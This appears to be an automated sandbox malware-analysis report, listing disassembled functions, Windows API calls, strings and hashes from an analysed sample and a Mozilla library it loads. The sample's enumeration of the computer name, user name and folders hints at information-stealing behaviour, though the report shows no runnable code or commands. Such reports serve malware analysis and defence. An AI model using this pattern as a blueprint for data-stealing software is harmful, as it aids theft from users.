Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 556a7a6c9be2d053d607ba92e7c834e3128791a2465422ba457eb21d59b8c603
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 556a7a6c9be2d053d607ba92e7c834e3128791a2465422ba457eb21d59b8c603
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004098D8

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6CB45440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CB45492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB454A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB454BE
__Init_thread_footer.LIBCMT ref: 6CB454DB

Part of subcall function 6CB6AB3F: EnterCriticalSection.KERNEL32(6CBBE370,?,?,6CB33527,6CBBF6CC,?,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB49
Part of subcall function 6CB6AB3F: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB33527,6CBBF6CC,?,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6AB7C

Part of subcall function 6CB6CBE8: GetCurrentProcess.KERNEL32(?,6CB331A7), ref: 6CB6CBF1
Part of subcall function 6CB6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB331A7), ref: 6CB6CBFA

GetCurrentThreadId.KERNEL32 ref: 6CB454F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CB45516
GetCurrentThreadId.KERNEL32 ref: 6CB4556A
AcquireSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB45577
moz_xmalloc.MOZGLUE(00000070), ref: 6CB45585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CB45590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CB455E6
ReleaseSRWLockExclusive.KERNEL32(6CBBF4B8), ref: 6CB45606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB45616

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

GetCurrentThreadId.KERNEL32 ref: 6CB4563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB45646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CB4567C
free.MOZGLUE(?), ref: 6CB456AE

Part of subcall function 6CB55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB55EDB
Part of subcall function 6CB55E90: memset.VCRUNTIME140(6CB97765,000000E5,55CCCCCC), ref: 6CB55F27
Part of subcall function 6CB55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB55FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CB456E8
GetCurrentThreadId.KERNEL32 ref: 6CB45707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CB4570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CB45729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CB4574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CB4576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CB45796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CB457B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CB457CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CB45D2B
Q^, xrefs: 6CB457BC
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CB45CF9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CB45D01
MOZ_PROFILER_STARTUP, xrefs: 6CB455E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CB45AC9
[I %d/%d] profiler_init, xrefs: 6CB4564E
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB45766
MOZ_BASE_PROFILER_HELP, xrefs: 6CB45511
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CB45B38
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB45724
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB45791
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CB456E3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CB45BBE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB457C5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB454A3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB4548D
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CB45C56
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CB45D24
GeckoMain, xrefs: 6CB45554, 6CB455D5
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CB45717
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB454B9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CB45749
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CB457AE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CB45D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CB4584E

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$Q^$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-2639675677
Opcode ID: f5bd5bbe9224865081a258a5a44b99c944d48da2fab00e4ab0be69265adb6217
Instruction ID: 9acb1f93b8c89d3223382af746513dc9bae08762f9de08bd8bd10fe4bb31ac7d
Opcode Fuzzy Hash: f5bd5bbe9224865081a258a5a44b99c944d48da2fab00e4ab0be69265adb6217
Instruction Fuzzy Hash: 002225B4908BC09FEB109F74C85866E77B5EF46318F048529F85697A45EF30C848DB6B

Function 6CB46C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CB46CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CB46D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CB46D26

Part of subcall function 6CB4CA10: malloc.MOZGLUE(?), ref: 6CB4CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CB46D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CB46D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CB46D73
free.MOZGLUE(00000000), ref: 6CB46D80
CertGetNameStringW.CRYPT32 ref: 6CB46DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CB46DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB46DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CB46DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CB46E10
CryptMsgClose.CRYPT32(00000000), ref: 6CB46E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CB46E34
CreateFileW.KERNEL32 ref: 6CB46EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CB46F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB46F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CB4709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CB47103
free.MOZGLUE(00000000), ref: 6CB47153
CloseHandle.KERNEL32(?), ref: 6CB47176
__Init_thread_footer.LIBCMT ref: 6CB47209
__Init_thread_footer.LIBCMT ref: 6CB4723A
__Init_thread_footer.LIBCMT ref: 6CB4726B
__Init_thread_footer.LIBCMT ref: 6CB4729C
__Init_thread_footer.LIBCMT ref: 6CB472DC
__Init_thread_footer.LIBCMT ref: 6CB4730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB473C2
VerSetConditionMask.NTDLL ref: 6CB473F3
VerSetConditionMask.NTDLL ref: 6CB473FF
VerSetConditionMask.NTDLL ref: 6CB47406
VerSetConditionMask.NTDLL ref: 6CB4740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB4741A
moz_xmalloc.MOZGLUE(?), ref: 6CB4755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB47568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CB47585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB47598
free.MOZGLUE(00000000), ref: 6CB475AC

Part of subcall function 6CB6AB89: EnterCriticalSection.KERNEL32(6CBBE370,?,?,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284), ref: 6CB6AB94
Part of subcall function 6CB6AB89: LeaveCriticalSection.KERNEL32(6CBBE370,?,6CB334DE,6CBBF6CC,?,?,?,?,?,?,?,6CB33284,?,?,6CB556F6), ref: 6CB6ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6CB472C8
wintrust.dll, xrefs: 6CB472CD
SHA256, xrefs: 6CB46EC0
(, xrefs: 6CB4768A

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 6586f76f42a7f2b162a28c068fe047be4a9dcdb3d9d431b4297dedda24a2f029
Instruction ID: 1e5756e3d38aaeadaadc459e2d4d708eaec4511aa4c0842a2c1a65279d90e71c
Opcode Fuzzy Hash: 6586f76f42a7f2b162a28c068fe047be4a9dcdb3d9d431b4297dedda24a2f029
Instruction Fuzzy Hash: 2B52C1B5A04294DBEB21DF64CC84BAE77BDEF45704F108199E908A7640DB70AF84CF91

Function 6CB70DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB70F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CB70F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CB70FB7
EnterCriticalSection.KERNEL32(?), ref: 6CB70FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CB71031
LeaveCriticalSection.KERNEL32(?), ref: 6CB710D0
EnterCriticalSection.KERNEL32(?), ref: 6CB7117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CB71C39
EnterCriticalSection.KERNEL32(6CBBE744), ref: 6CB73391
LeaveCriticalSection.KERNEL32(6CBBE744), ref: 6CB733CD
LeaveCriticalSection.KERNEL32(?), ref: 6CB73431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB73437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CB73A02
MOZ_CRASH(), xrefs: 6CB73950
MALLOC_OPTIONS, xrefs: 6CB735FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB73793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB737D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB737BD
Compile-time page size does not divide the runtime one., xrefs: 6CB73946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB737A8
<jemalloc>, xrefs: 6CB73941, 6CB739F1
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB73559, 6CB7382D, 6CB73848

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 3e176057a23d33c22b22539eb1ac32767ef3ca234288ed71887d658d08876a79
Instruction ID: 04691a38c34d371e7916a51a9d42c998b5aeec60bd200dc895c389c685dcf122
Opcode Fuzzy Hash: 3e176057a23d33c22b22539eb1ac32767ef3ca234288ed71887d658d08876a79
Instruction Fuzzy Hash: D4539D71A057818FC724CF29C590615BBE1FF89328F29C66DE8799B791D731E801CBA2

Function 6CB934A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB9355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB935BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB935E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB9363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB936CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB9373C
